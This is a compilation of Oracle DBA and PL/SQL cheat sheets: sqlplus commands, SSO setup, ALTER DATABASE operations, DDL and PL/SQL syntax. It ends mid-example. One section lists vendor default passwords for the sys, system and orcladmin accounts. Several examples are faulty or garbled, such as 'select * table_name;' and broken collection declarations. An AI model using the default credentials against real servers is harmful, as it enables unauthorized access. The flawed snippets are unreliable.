Oracle_DBA_Chaet_Sheets

Document Sample
Oracle_DBA_Chaet_Sheets Powered By Docstoc
					Oracle Cheat Sheet
Details
          Created on Tuesday, 26 July 2005 00:00

I did a fair bit of work recently with Oracle. Being a regular MySQL user, I found some
Oracle-isms a little strange, so I put together a cheat sheet:

1. Some useful commands

To start a session as
                              sqlplus sys@tnsname as sysdba;
sysdba:

To start a sysdba session
                          sqlplus "/as sysdba"
under Windows (9iAS):

To list all tables in current
                              SELECT table_name FROM user_tables;
schema:

or, all tables current user
                              SELECT table_name FROM all_tables;
has access to:

To list all schemas:          SELECT username FROM all_users ORDER BY username;


To turn pause on:             SET PAUSE ON;


To list top n rows of a       SELECT * FROM (SELECT * FROM t ORDER BY c) WHERE ROWNUM
table in order:               <= n;


Show current database:        SELECT * FROM global_name;


Use database:                 CONNECT schema/password@tnsname;


Show who I am:                SHOW USER;


Describe table:               DESC tablename;


Set display rows:             SET PAGESIZE 66;

                              SELECT constraint_name,search_condition FROM
Read field constraints:
                              user_constraints WHERE table_name='tablename';

Copy table from foreign       COPY FROM user@tnsname CREATE tablename USING SELECT *
host to here:              FROM tablename;


Start SQLPLUS without
                           SQLPLUS /NOLOG
login:

Change a user's
                           ALTER USER user IDENTIFIED BY password;
password:

Unlock an account          ALTER USER user ACCOUNT UNLOCK;



I found some of these at http://www.johntopley.com/kb/oracle/index.html, a few others at
https://gdsg.ngdc.noaa.gov/tiki/tiki-index.php?page=SqlNotes. There is also Mark
Rittman's Oracle Weblog article about what to do if an Oracle application server fails to
start after a crash. By doing some of your own research, you may be able to find a live
answering service to help with your questions.

2. SSO issues

The easiest way to add Oracle Single Sign On authentication to a Web page/application
just uploaded to an Oracle 9i application server is to hand-edit mod_osso.conf, inserting
the following lines:

<Location /base-URL>
        require valid-user
        AuthType Basic
</Location>

See also
http://www.oracle.com/technology/sample_code/deploy/security/Usingmod_osso.htm.

To administer SSO accounts, try http://your.oracle9iAS.server:7777/oiddas/ui/. If
the relevant components are installed, this may work. The Oracle portal (if installed) is
at http://your.oracle9iAS.server:7777/pls/portal/. Also, if you can log on to the
application server database, you should be able to list all SSO users using

SELECT user_name FROM orasso.wwsec_person$;

If you receive the following error:

Oracle SSO Warning - Unable to process request
Either the requested URL was not specified in terms of a fully-qualified host name or
OHS single sign-on is incorrectly configured.
Please notify your administrator.
then poke around in the Apache/Apache subdirectory in your Oracle9i AS installation to
see if you can find a log file explaining what happens. You may find that the problem is
due to you using the wrong URL (e.g., numeric IP addresses where Oracle's SSO
module expects a symbolic URL.)

3. Autonumbers

Oracle has no autonumbers like SQL Server, Access, or MySQL. One way to do
autonumbers is by using a combination of a sequence and a trigger, as in the following
example:

CREATE SEQUENCE sequence-name;

CREATE OR REPLACE TRIGGER trigger-name
BEFORE INSERT ON table-name
FOR EACH ROW
WHEN (NEW.field-name IS NULL OR NEW.field-name = '<new>')
BEGIN
SELECT 'PR-' || sequence-name.NEXTVAL INTO :NEW.field-name FROM DUAL;
END;
/

4. JDeveloper

To create a new JDeveloper application that will contain "raw" JSP code, follow these
steps:

   1.   Create New Workspace
   2.   Create New Empty Project
   3.   Create New Class
   4.   Create New JSP

You may find that you need to specify additional libraries with which to link your project.
To do so, select Project Settings in the menu and insert additional CLASSPATHs, e.g., I
had to add S:\INSTALLS\ORACLE\JDeveloper-9i2\jdbc\lib\classes12.jar.

To create a new database application using Oracle's classes, follow these steps:

   1.   Create New Workspace
   2.   Create New Project with Business Components
   3.   Default package: mypackage1
   4.   Create New BC4J JSP Browse & Edit Form

5. Deploying an application

Before any of these steps, you must create a deployment profile in JDeveloper, and
deploy the project to an EAR file. Then:
   1.   Connect to the application server's Enterprise Manager (TCP port 1810)
   2.   Select the server
   3.   Click OC4J_Home
   4.   Click Deploy EAR File
   5.   Specify file location, application name
   6.   Specify base URL
   7.   Specify JAZN LDAP authentication for SSO

Your application will then appear under the URL
http://your.oracle9iAS.server:7777/base-URL.     (The port number may be something
other than 7777 depending on your AS setup.) You may need to restart OC4J_Home if,
after deployment, the application misbehaves (Java compiler errors, out of memory
errors, etc.)

If the application fails to run due to missing libraries, check your deployment profile.
Make sure all libraries are included. If all else fails, then instead of using the
dependency analyzer, choose to include all necessary libraries in their entirety.

6. Some default passwords

  Name           Password

sys         change_on_install

system      manager

orcladmin welcome
Oracle DBA Cheat Sheet PART-1


alter database: Alter a Data File

ALTER DATABASE DATAFILE 4 OFFLINE;
ALTER DATABASE DATAFILE '/opt/oracle/datafile/users01.dbf' OFFLINE;
ALTER DATABASE DATAFILE '/opt/oracle/datafile/users01.dbf' RESIZE 100m;
ALTER DATABASE DATAFILE '/opt/oracle/datafile/users01.dbf'
AUTOEXTEND ON NEXT 100M MAXSIZE 1000M;
ALTER DATABASE DATAFILE 4 END BACKUP;

alter database: Alter a Tempfile
ALTER DATABASE TEMPFILE 4 RESIZE 100M;
ALTER DATABASE TEMPFILE 4 AUTOEXTEND ON NEXT 100M MAXSIZE 1000M;
ALTER DATABASE TEMPFILE 4 DROP INCLUDING DATAFILES;
ALTER DATABASE TEMPFILE 4 OFFLINE;
alter database: ARCHIVELOG Mode Commands


ALTER DATABASE ARCHIVELOG;
ALTER DATABASE NOARCHIVELOG;

ALTER DATABASE FORCE LOGGING;
ALTER DATABASE CLEAR LOGFILE '/opt/oracle/logfiles/redo01.rdo';
ALTER DATABASE CLEAR UNARCHIVED LOGFILE '/opt/oracle/logfiles/redo01.rdo';
ALTER DATABASE ADD SUPPLEMENTAL LOG DATA;
ALTER DATABASE ADD SUPPLEMENTAL LOG DATA (PRIMARY KEY, UNIQUE);
ALTER DATABASE DROP SUPPLEMENTAL LOG DATA;

alter database: Control File Operations


ALTER DATABASE BACKUP CONTROLFILE TO TRACE;
ALTER DATABASE BACKUP CONTROLFILE TO TRACE AS
'/opt/oracle/logfile_backup/backup_logfile.trc' REUSE RESETLOGS;
ALTER DATABASE BACKUP CONTROLFILE TO '/opt/oracle/logfile_backup/backup_logfile.ctl';

alter database: Create a Data File

ALTER DATABASE CREATE DATAFILE '/opt/oracle/datafile/users01.dbf' AS
'/opt/oracle/datafile/users01.dbf';
ALTER DATABASE CREATE DATAFILE 4 AS '/opt/oracle/datafile/users01.dbf';
ALTER DATABASE CREATE DATAFILE '/opt/oracle/datafile/users01.dbf' AS NEW;

alter database: Datafile Offline/Online
See alter database: Alter a Data File

alter database: Logfile Commands

ALTER DATABASE ADD LOGFILE GROUP 2
('/opt/oracle/logfiles/redo02a.rdo', '/opt/oracle/logfiles/redo02b.rdo') SIZE 300M REUSE;
ALTER DATABASE ADD LOGFILE MEMBER '/opt/oracle/logfiles/redo02c.rdo' to GROUP 2;
ALTER DATABASE ADD LOGFILE thread 3 GROUP 2
('/opt/oracle/logfiles/redo02a.rdo', '/opt/oracle/logfiles/redo02b.rdo') SIZE 300M REUSE;
ALTER DATABASE DROP LOGFILE GROUP 3;
ALTER DATABASE DROP LOGFILE MEMBER '/opt/oracle/logfiles/redo02b.rdo';

alter database: Mount and Open the Database

ALTER DATABASE MOUNT;
ALTER DATABASE OPEN;

alter database: Move or Rename a Database File or Online Redo Log

NOTE
The database must be mounted to rename or move online redo logs.
The database must be mounted or the data files taken offline to move database data files.

ALTER DATABASE RENAME FILE '/ora/datafile/oldfile.dbf' TO '/ora/datafile/newfile.dbf';
alter database: Open the Database Read-Only
ALTER DATABASE OPEN READ ONLY;
alter database: Open the Database with resetlogs
ALTER DATABASE OPEN RESETLOGS
Oracle Programming/SQL Cheatsheet
This "cheatsheet" covers most of the basic functionality that an Oracle DBA needs to run basic
queries and perform basic tasks. It also contains information that a PL/SQL programmer will
frequently use to write stored procedures. The resource is useful as a primer for individuals who
are new to Oracle, or as a reference for those who are experienced at using Oracle.

A great deal of information about Oracle exists, scattered throughout the net. This resource was
developed in order to make it easier for programmers and DBAs to find most of the basics in one
place. When a topic is beyond the scope of a "cheatsheet" a link is generally provided for further
research.

Other Oracle References

      Oracle XML Reference - the XML reference is still in its infancy, but it will be coming along nicely
       before long.
Contents
[hide]

        1 Queries
             o 1.1 SELECT
             o 1.2 SELECT INTO
             o 1.3 INSERT
             o 1.4 DELETE
             o 1.5 UPDATE
                     1.5.1 Setting Constraints on a Table
                     1.5.2 Unique Index on a Table
             o 1.6 SEQUENCES
                     1.6.1 CREATE SEQUENCE
                     1.6.2 ALTER SEQUENCE
             o 1.7 Generate Query From A String
             o 1.8 String Operations
                     1.8.1 Instr
                     1.8.2 Replace
                     1.8.3 Substr
                     1.8.4 Trim
        2 DDL SQL
             o 2.1 Tables
                     2.1.1 Create Table
                     2.1.2 Add Column
                     2.1.3 Modify Column
                     2.1.4 Drop Column
                     2.1.5 Constraints
                            2.1.5.1 Constraint Types and Codes
                            2.1.5.2 Displaying Constraints
                            2.1.5.3 Selecting Referential Constraints
                            2.1.5.4 Creating Unique Constraints
                            2.1.5.5 Deleting Constraints
             o 2.2 INDEXES
                     2.2.1 Create an Index
                     2.2.2 Create a Function-Based Index
                     2.2.3 Rename an Index
                     2.2.4 Collect Statistics on an Index
                     2.2.5 Drop an Index
        3 DBA Related
             o 3.1 User Management
                     3.1.1 Creating a User
                     3.1.2 Granting Privileges
                     3.1.3 Change password
             o 3.2 Importing and Exporting
                     3.2.1 Importing a Dump File using IMP
        4 PL/SQL
          o     4.1 Operators
                     4.1.1 Arithmetic Operators
                             4.1.1.1 Examples
                     4.1.2 Comparison Operators
                             4.1.2.1 Examples
                     4.1.3 String Operators
                     4.1.4 Date Operators
          o     4.2 Types
                     4.2.1 Basic PL/SQL Types
                     4.2.2 %TYPE - anchored type variable declaration
                     4.2.3 Collections
          o     4.3 Stored Logic
                     4.3.1 Functions
                     4.3.2 Procedures
                     4.3.3 Anonymous Block
                     4.3.4 Passing Parameters to Stored Logic
                             4.3.4.1 Positional Notation
                             4.3.4.2 Named Notation
                             4.3.4.3 Mixed Notation
                     4.3.5 Table Functions
          o     4.4 Flow Control
                     4.4.1 Conditional Operators
                     4.4.2 Example
                     4.4.3 If/Then/Else
          o     4.5 Arrays
                     4.5.1 Associative Arrays
                     4.5.2 Example
      5 APEX
           o 5.1 String substitution
      6 External links


[edit] Queries
[edit] SELECT
  SELECT *
  FROM Namibia
  WHERE col1 = 'value1'
  AND col2 = 'value2'

AND col2=12;

[edit] SELECT INTO

Select into takes the values name, address and phone number out of the table employee and
places them into the variables v_employee_name, v_employee_address and
v_employee_phone_number.
This only works if the query matches a single item. If the query returns no rows it will raise the
NO_DATA_FOUND built-in exception. If your query returns more than one row, Oracle will
raise the exception TOO_MANY_ROWS.

SELECT name,address,phone_number
INTO v_employee_name,v_employee_address,v_employee_phone_number
FROM employee
WHERE employee_id = 6;
[edit] INSERT

insert using the VALUES keyword

INSERT INTO table_name VALUES (' Value1', 'Value2', ... );
INSERT INTO table_name( Column1, Column2, ... ) VALUES ( 'Value1', 'Value2',
... );

insert using a SELECT statement

INSERT INTO table_name( SELECT Value1, Value2, ... from table_name );
INSERT INTO table_name( Column1, Column2, ... ) ( SELECT Value1, Value2, ...
from table_name );
[edit] DELETE

The DELETE statement is used to delete rows in a table. deletes the rows which match the
criteria

DELETE FROM table_name WHERE some_column=some_value
DELETE FROM customer WHERE sold = 0;
[edit] UPDATE

updates the entire column of that table

UPDATE customer SET state='CA';

updates the specific record of the table eg:

UPDATE customer SET name='Joe' WHERE customer_id=10;

updates the column invoice as paid when paid column has more than zero.

UPDATE movies SET invoice='paid' WHERE paid > 0;

[edit] Setting Constraints on a Table

The syntax for creating a check constraint using a CREATE TABLE statement is:

CREATE TABLE table_name
(
    column1 datatype null/not null,
     column2 datatype null/not null,
     ...
     CONSTRAINT constraint_name CHECK (column_name condition) [DISABLE]
);

For example:

CREATE TABLE suppliers
(
    supplier_id numeric(4),
    supplier_name varchar2(50),
    CONSTRAINT check_supplier_id
    CHECK (supplier_id BETWEEN 100 and 9999)
);

[edit] Unique Index on a Table

The syntax for creating a unique constraint using a CREATE TABLE statement is:

CREATE TABLE table_name
(
    column1 datatype null/not null,
    column2 datatype null/not null,
    ...
    CONSTRAINT constraint_name UNIQUE (column1, column2, column_n)
);

For example:

CREATE TABLE customer
(
    id   integer not null,
    name varchar2(20),
    CONSTRAINT customer_id_constraint UNIQUE (id)
);
[edit] SEQUENCES
[edit] CREATE SEQUENCE

The syntax for a sequence is:

CREATE SEQUENCE sequence_name
    MINVALUE value
    MAXVALUE value
    START WITH value
    INCREMENT BY value
    CACHE value;

For example:

CREATE SEQUENCE supplier_seq
    MINVALUE 1
     MAXVALUE 999999999999999999999999999
     START WITH 1
     INCREMENT BY 1
     CACHE 20;

[edit] ALTER SEQUENCE

Increment a sequence by a certain amount:

ALTER SEQUENCE <sequence_name> INCREMENT BY <integer>;
ALTER SEQUENCE seq_inc_by_ten INCREMENT BY 10;

Change the maximum value of a sequence:

ALTER SEQUENCE <sequence_name> MAXVALUE <integer>;
ALTER SEQUENCE seq_maxval MAXVALUE 10;

Set the sequence to cycle or not cycle:

ALTER SEQUENCE <sequence_name> <CYCLE | NOCYCLE>;
ALTER SEQUENCE seq_cycle NOCYCLE;

Configure the sequence to cache a value:

ALTER SEQUENCE <sequence_name> CACHE <integer> | NOCACHE;
ALTER SEQUENCE seq_cache NOCACHE;

Set whether or not the values are to be returned in order

ALTER SEQUENCE <sequence_name> <ORDER | NOORDER>;
ALTER SEQUENCE seq_order NOORDER;
[edit] Generate Query From A String

It is sometimes necessary to create a query from a string. That is, if the programmer wants to
create a query at run time (generate an Oracle query on the fly), based on a particular set of
circumstances, etc.

Care should be taken not to insert user-supplied data directly into a dynamic query string,
without first vetting the data very strictly for SQL escape characters; otherwise you run a
significant risk of enabling data-injection hacks on your code.

Here is a very simple example of how a dynamic query is done. There are, of course, many
different ways to do this; this is just an example of the functionality.

PROCEDURE oracle_runtime_query_pcd IS
    TYPE ref_cursor IS REF CURSOR;
    l_cursor        ref_cursor;

     v_query             varchar2(5000);
     v_name              varchar2(64);
BEGIN
     v_query := 'SELECT name FROM employee WHERE employee_id=5';
     OPEN l_cursor FOR v_query;
     LOOP
        FETCH l_cursor INTO v_name;
        EXIT WHEN l_cursor%NOTFOUND;
     END LOOP;
     CLOSE l_cursor;
END;
[edit] String Operations
[edit] Instr

Instr returns an integer which specifies the location of a sub-string within a string. The
programmer can specify which appearance of the string they want to detect as well as a starting
position. If the search is unsuccessful then the return value is 0.

instr( string1, string2, [ start_position ], [ nth_appearance ] )

instr( 'oracle pl/sql cheatsheet', '/');
this returns 10, since the first occurrence of "/" is the tenth character

instr( 'oracle pl/sql cheatsheet', 'e', 1, 2);
this returns 17, since the second occurrence of "e" is the seventeenth
character

instr( 'oracle pl/sql cheatsheet', '/', 12, 1);
this returns 0, since the first occurrence of "/" is before the starting
point, which is the 12th character

[edit] Replace

Replace looks through a string, replacing one string with another. If no other string is specified,
it removes the string specified in the replacement string parameter.

replace( string1, string_to_replace, [ replacement_string ] );
replace('i am here','am','am not');
this returns "i am not here"

[edit] Substr

Substr returns a portion of the given string. The "start_position" is 1-based, not 0-based. If
"start_position" is negative, substr counts from the end of the string. If "length" is not given,
substr defaults to the remaining length of the string.

substr( string, start_position [, length])

SELECT substr( 'oracle pl/sql cheatsheet', 8, 6) FROM dual;

        returns "pl/sql" since the "p" in "pl/sql" is in the 8th position in the string (counting from 1 at
        the "o" in "oracle")
SELECT substr( 'oracle pl/sql cheatsheet', 15) FROM dual;

       returns "cheatsheet" since "c" is in the 15th position in the string and "t" is the last character
       in the string.

SELECT substr('oracle pl/sql cheatsheet', -10, 5) FROM dual;

       returns "cheat" since "c" is the 10th character in the string, counting from the end of the string
       with "t" as position 1.

[edit] Trim

These functions can be used to filter unwanted characters from strings. By default they remove
spaces, but a character set can be specified for removal as well.

trim ( [ leading | trailing | both ] [ trim-char ] from string-to-be-trimmed
);
trim ('   removing spaces at both sides      ');
this returns "removing spaces at both sides"

ltrim ( string-to-be-trimmed [, trimming-char-set ] );
ltrim ('   removing spaces at the left side     ');
this returns "removing spaces at the left side     "

rtrim ( string-to-be-trimmed [, trimming-char-set ] );
rtrim ('   removing spaces at the right side     ');
this returns "   removing spaces at the right side"

[edit] DDL SQL
[edit] Tables
[edit] Create Table

The syntax to create a table is:

CREATE TABLE [table name]
      ( [column name] [datatype], ... );

For example:

CREATE TABLE employee
      (id int, name varchar(20));

[edit] Add Column

The syntax to add a column is:

ALTER TABLE [table name]
      ADD ( [column name] [datatype], ... );
For example:

ALTER TABLE employee
      ADD (id int);

[edit] Modify Column

The syntax to modify a column is:

ALTER TABLE [table name]
      MODIFY ( [column name] [new datatype] );

ALTER Table Syntax and Examples:

For example:

ALTER TABLE employee
      MODIFY( sickHours s float );

[edit] Drop Column

The syntax to drop a column is:

ALTER TABLE [table name]
      DROP COLUMN [column name];

For example:

ALTER TABLE employee
      DROP COLUMN vacationPay;

[edit] Constraints

[edit] Constraint Types and Codes
   Type Code                       Type Description   Acts On Level

        C            Check on a table                    Column

        O            Read Only on a view                 Object

        P            Primary Key                         Object

        R            Referential AKA Foreign Key         Column

        U            Unique Key                          Column

        V            Check Option on a view              Object
[edit] Displaying Constraints

The following statement will show all of the constraints in the system:

SELECT
        table_name,
        constraint_name,
        constraint_type
FROM user_constraints;

select * table_name;

[edit] Selecting Referential Constraints

The following statement will show all referential constraints (foreign keys) with both source
and destination table/column couples:

SELECT
        c_list.CONSTRAINT_NAME as NAME,
        c_src.TABLE_NAME as SRC_TABLE,
        c_src.COLUMN_NAME as SRC_COLUMN,
        c_dest.TABLE_NAME as DEST_TABLE,
        c_dest.COLUMN_NAME as DEST_COLUMN
FROM ALL_CONSTRAINTS c_list,
     ALL_CONS_COLUMNS c_src,
     ALL_CONS_COLUMNS c_dest
WHERE c_list.CONSTRAINT_NAME = c_src.CONSTRAINT_NAME
  AND c_list.R_CONSTRAINT_NAME = c_dest.CONSTRAINT_NAME
  AND c_list.CONSTRAINT_TYPE = 'R'
GROUP BY c_list.CONSTRAINT_NAME,
          c_src.TABLE_NAME,
         c_src.COLUMN_NAME,
         c_dest.TABLE_NAME,
         c_dest.COLUMN_NAME;

[edit] Creating Unique Constraints

The syntax for a unique constraint is:

ALTER TABLE [table name]
      ADD CONSTRAINT [constraint name] UNIQUE( [column name] ) USING INDEX
[index name];

For example:

ALTER TABLE employee
      ADD CONSTRAINT uniqueEmployeeId UNIQUE(employeeId) USING INDEX
ourcompanyIndx_tbs;

[edit] Deleting Constraints

The syntax for dropping (removing) a constraint is:
ALTER TABLE [table name]
      DROP CONSTRAINT [constraint name];

For example:

ALTER TABLE employee
      DROP CONSTRAINT uniqueEmployeeId;

See also: Oracle Constraints

[edit] INDEXES

An index is a method by which records are retreived with greater efficiency. An index creates an
entry for each value that appears in the indexed columns. Oracle will, by default, create B-tree
indexes.

[edit] Create an Index

The syntax for creating an index is:

CREATE [UNIQUE] INDEX index_name
    ON table_name (column1, column2, . column_n)
    [ COMPUTE STATISTICS ];

UNIQUE indicates that the combination of values in the indexed columns must be unique.

COMPUTE STATISTICS tells Oracle to collect statistics during the creation of the index. The
statistics are then used by the optimizer to choose an optimal execution plan when the statements
are executed.

For example:

CREATE INDEX customer_idx
    ON customer (customer_name);

In this example, an index has been created on the customer table called customer_idx. It consists
of only of the customer_name field.

The following creates an index with more than one field:

CREATE INDEX customer_idx
    ON supplier (customer_name, country);

The following collects statistics upon creation of the index:

CREATE INDEX customer_idx
    ON supplier (customer_name, country)
    COMPUTE STATISTICS;
[edit] Create a Function-Based Index

In Oracle, you are not restricted to creating indexes on only columns. You can create function-
based indexes.

The syntax for creating a function-based index is:

CREATE [UNIQUE] INDEX index_name
    ON table_name (function1, function2, . function_n)
    [ COMPUTE STATISTICS ];

For example:

CREATE INDEX customer_idx
    ON customer (UPPER(customer_name));

An index, based on the uppercase evaluation of the customer_name field, has been created.

To assure that the Oracle optimizer uses this index when executing your SQL statements, be sure
that UPPER(customer_name) does not evaluate to a NULL value. To ensure this, add
UPPER(customer_name) IS NOT NULL to your WHERE clause as follows:

SELECT customer_id, customer_name, UPPER(customer_name)
FROM customer
WHERE UPPER(customer_name) IS NOT NULL
ORDER BY UPPER(customer_name);

[edit] Rename an Index

The syntax for renaming an index is:

ALTER INDEX index_name
    RENAME TO new_index_name;

For example:

ALTER INDEX customer_id
    RENAME TO new_customer_id;

In this example, customer_id is renamed to new_customer_id.

[edit] Collect Statistics on an Index

If you need to collect statistics on the index after it is first created or you want to update the
statistics, you can always use the ALTER INDEX command to collect statistics. You collect
statistics so that oracle can use the indexes in an effective manner. This recalcultes the table size,
number of rows, blocks, segments and update the dictionary tables so that oracle can use the data
effectively while choosing the execution plan.
The syntax for collecting statistics on an index is:

ALTER INDEX index_name
    REBUILD COMPUTE STATISTICS;

For example:

ALTER INDEX customer_idx
    REBUILD COMPUTE STATISTICS;

In this example, statistics are collected for the index called customer_idx.

[edit] Drop an Index

The syntax for dropping an index is:

   DROP INDEX index_name;

For example:

   DROP INDEX customer_idx;

In this example, the customer_idx is dropped.

[edit] DBA Related
[edit] User Management
[edit] Creating a User

The syntax for creating a user is:

   CREATE USER username IDENTIFIED BY password;

For example:

   CREATE USER brian IDENTIFIED BY brianpass;

[edit] Granting Privileges

The syntax for granting privileges is:

   GRANT privilege TO user;

For example:

   GRANT dba TO brian;
[edit] Change password

The syntax for changing user password is:

   ALTER USER username IDENTIFIED BY password;

For example:

   ALTER USER brian IDENTIFIED BY brianpassword;
[edit] Importing and Exporting

There are two methods of backing up and restoring database tables and data. The 'exp' and 'imp'
tools are simpler tools geared towards smaller databases. If database structures become more
complex or are very large ( > 50 GB for example) then using the RMAN tool is more
appropriate.

[edit] Importing a Dump File using IMP

This command is used to import Oracle tables and table data from a *.dmp file created by the
'exp' tool. Remember that this a command that is executed from the command line through
$ORACLE_HOME/bin and not within SQL*Plus.

The syntax for importing a dump file is:

   imp KEYWORD=value

There are number of parameters you can use for keywords.

To view all the keywords:

   imp HELP=yes

An example:

   imp brian/brianpassword FILE=mydump.dmp FULL=yes

[edit] PL/SQL
[edit] Operators

(incomplete)

[edit] Arithmetic Operators

      Addition: +
      Subtraction: -
      Multiplication: *
      Division: /
      Power (PL/SQL only): **

[edit] Examples

gives all employees a 5% raise

UPDATE employee SET salary = salary * 1.05
                  where customer_id = 5;

determines the after tax wage for all employee's

SELECT wage - tax FROM employee;

[edit] Comparison Operators

      Greater Than: >
      Greater Than or Equal To: >=
      Less Than: <
      Less Than or Equal to: <=
      Equivalence: =
      Inequality: != ^= <> ¬= (depends on platform)

[edit] Examples
SELECT name, salary, email FROM employees WHERE salary > 40000;

SELECT name FROM customers WHERE customer_id < 6;

[edit] String Operators

      Concatenate: ||

[edit] Date Operators

      Addition: +
      Subtraction: -

[edit] Types
[edit] Basic PL/SQL Types

Scalar type (defined in package STANDARD): NUMBER, CHAR, VARCHAR2, BOOLEAN,
BINARY_INTEGER, LONG\LONG RAW, DATE, TIMESTAMP(and its family including
intervals)

Composite types (user-defined types): TABLE, RECORD, NESTED TABLE and VARRAY

LOB datatypes : used to store an unstructured large amount of data
[edit] %TYPE - anchored type variable declaration

The syntax for anchored type declarations is

<var_name> <obj>%type [not null][:= <init-val>];

For example

name Books.title%type;  /*            name is defined as the same type as column
'title' of table Books */

commission number(5,2) := 12.5;

x commission%type;         /*    x is defined as the same type as variable
'commission' */

Note:

   1. Anchored variables allow for the automatic synchronization of the type of anchored variable
      with the type of <obj> when there is a change to the <obj> type.
   2. Anchored types are evaluated at compile time, so recompile the program to reflect the change
      of <obj> type in the anchored variable.

[edit] Collections

A collection is an ordered group of elements, all of the same type. It is a general concept that
encompasses lists, arrays, and other familiar datatypes. Each element has a unique subscript that
determines its position in the collection.

--Define a PL/SQL record type representing a book:
TYPE book_rec IS RECORD
   (title                   book.title%TYPE,
    author                  book.author_last_name%TYPE,
    year_published          book.published_date%TYPE);

--define a PL/SQL table containing entries of type book_rec:
Type book_rec_tab IS TABLE OF book_rec%TYPE
     INDEX BY BINARY_INTEGER;

my_book_rec book_rec%TYPE;
my_book_rec_tab book_rec_tab%TYPE;
...
my_book_rec := my_book_rec_tab(5);
find_authors_books(my_book_rec.author);
...

There are many good reasons to use collections.

       Dramatically faster execution speed, thanks to transparent performance boosts including a new
        optimizing compiler, better integrated native compilation, and new datatypes that help out with
        number-crunching applications.
      The FORALL statement, made even more flexible and useful. For example, FORALL now supports
       nonconsecutive indexes.

      Regular expressions are available in PL/SQL in the form of three new functions (REGEXP_INSTR,
       REGEXP_REPLACE, and REGEXP_SUBSTR) and the REGEXP_LIKE operator for comparisons. (For
       more information, see "First Expressions" by Jonathan Gennick in this issue.)

      Collections, improved to include such things as collection comparison for equality and support
       for set operations on nested tables.

see also:

      Taking Up Collections
      Oracle Programming with PL/SQL Collections

[edit] Stored Logic
[edit] Functions

A function must return a value to the caller.

The syntax for a function is

CREATE [OR REPLACE] FUNCTION function_name [ (parameter [,parameter]) ]
RETURN [return_datatype]
IS
    [declaration_section]
BEGIN
    executable_section
    return [return_value]

    [EXCEPTION
        exception_section]
END [procedure_name];

For example:

CREATE OR REPLACE FUNCTION to_date_check_null(dateString IN VARCHAR2,
dateFormat IN VARCHAR2)
RETURN DATE IS
BEGIN
     IF dateString IS NULL THEN
          return NULL;
     ELSE
          return to_date(dateString, dateFormat);
     END IF;
END;

[edit] Procedures

A procedure differs from a function in that it must not return a value to the caller.
The syntax for a procedure is:

CREATE [OR REPLACE] PROCEDURE procedure_name [ (parameter [,parameter]) ]
IS
    [declaration_section]
BEGIN
    executable_section
    [EXCEPTION
        exception_section]
END [procedure_name];

When you create a procedure or function, you may define parameters. There are three types of
parameters that can be declared:

   1. IN - The parameter can be referenced by the procedure or function. The value of the parameter
      can not be overwritten by the procedure or function.
   2. OUT - The parameter can not be referenced by the procedure or function, but the value of the
      parameter can be overwritten by the procedure or function.
   3. IN OUT - The parameter can be referenced by the procedure or function and the value of the
      parameter can be overwritten by the procedure or function.

Also you can declare a DEFAULT value;

CREATE [OR REPLACE] PROCEDURE procedure_name [ (parameter [IN|OUT|IN OUT]
[DEFAULT value] [,parameter]) ]

The following is a simple example of a procedure:

   /* purpose: shows the students in the course specified by courseId */

   CREATE OR REPLACE Procedure GetNumberOfStudents
      ( courseId IN number, numberOfStudents OUT number )
   IS

        /* although there are better ways to compute the number of students,
           this is a good opportunity to show a cursor in action             */

        cursor student_cur is
        select studentId, studentName
            from course
            where course.courseId = courseId;
        student_rec     student_cur%ROWTYPE;

   BEGIN
       OPEN student_cur;
       LOOP
            FETCH student_cur INTO student_rec;
            EXIT WHEN student_cur%NOTFOUND;
            numberOfStudents := numberOfStudents + 1;
       END LOOP;
       CLOSE student_cur;

   EXCEPTION
   WHEN OTHERS THEN
         raise_application_error(-20001,'An error was encountered -
'||SQLCODE||' -ERROR- '||SQLERRM);
   END GetNumberOfStudents;

[edit] Anonymous Block
DECLARE
 x NUMBER(4) := 0;
BEGIN
  x := 1000;
  BEGIN
     x := x + 100;
  EXCEPTION
     WHEN OTHERS THEN
       x := x + 2;
  END;
  x := x + 10;
  dbms_output.put_line(x);
EXCEPTION
  WHEN OTHERS THEN
     x := x + 3;
END;

[edit] Passing Parameters to Stored Logic

There are three basic syntaxes for passing parameters to a stored procedure: positional notation,
named notation and mixed notation.

In the following examples this procedure will be called each of the basic syntaxes for parameter
passing:

CREATE OR REPLACE PROCEDURE create_customer
( p_name IN varchar2, p_id IN number, p_address IN varchar2, p_phone IN
varchar2 ) IS
BEGIN
    INSERT INTO customer ( name, id, address, phone )
    VALUES ( p_name, p_id, p_address, p_phone );
END create_customer;

[edit] Positional Notation

Specify the same parameters in the same order as they are declared in the procedure. This
notation is compact, but if you specify the parameters (especially literals) in the wrong order, the
bug can be hard to detect. You must change your code if the procedure's parameter list changes.

create_customer('James Whitfield', 33, '301 Anystreet', '251-222-3154');

[edit] Named Notation

Specify the name of each parameter along with its value. An arrow (=>) serves as the association
operator. The order of the parameters is not significant. This notation is more verbose, but makes
your code easier to read and maintain. You can sometimes avoid changing code if the
procedure's parameter list changes, for example if the parameters are reordered or a new optional
parameter is added. Named notation is a good practice to use for any code that calls someone
else's API, or defines an API for someone else to use.

create_customer(p_address => '301 Anystreet', p_id => 33, p_name => 'James
Whitfield', p_phone => '251-222-3154');

[edit] Mixed Notation

Specify the first parameters with positional notation, then switch to named notation for the last
parameters. You can use this notation to call procedures that have some required parameters,
followed by some optional parameters.

create_customer(v_name, v_id, p_address=> '301 Anystreet', p_phone => '251-
222-3154');

[edit] Table Functions
CREATE TYPE object_row_type as OBJECT (
   object_type VARCHAR(18),
   object_name VARCHAR(30)
);

CREATE TYPE object_table_type as TABLE OF object_row_type;

CREATE OR REPLACE FUNCTION get_all_objects
  RETURN object_table_type PIPELINED AS
BEGIN
     FOR cur IN (SELECT * FROM all_objects)
     LOOP
       PIPE ROW(object_row_type(cur.object_type, cur.object_name));
     END LOOP;
     RETURN;
END;

SELECT * FROM TABLE(get_all_objects);
[edit] Flow Control
[edit] Conditional Operators

      and: AND
      or: OR
      not: NOT

[edit] Example

IF salary > 40000 AND salary <= 70000 THEN

[edit] If/Then/Else
IF [condition] THEN
    [statements]
ELSIF [condition] THEN
     [statements}
ELSIF [condition]          THEN
     [statements}
ELSIF [condition]          THEN
     [statements}
ELSIF [condition]          THEN
     [statements}
ELSIF [condition]          THEN
     [statements}
ELSIF [condition]          THEN
     [statements}
ELSIF [condition]          THEN
     [statements}
ELSE
     [statements}
END IF;
[edit] Arrays
[edit] Associative Arrays

          Strongly typed arrays, useful as in-memory tables

[edit] Example

          Very simple example, the index is the key to accessing the array so there is no need to loop
           through the whole table unless you intend to use data from every line of the array.
          The index can also be a numeric value.

DECLARE

       -- Associative array indexed by string:



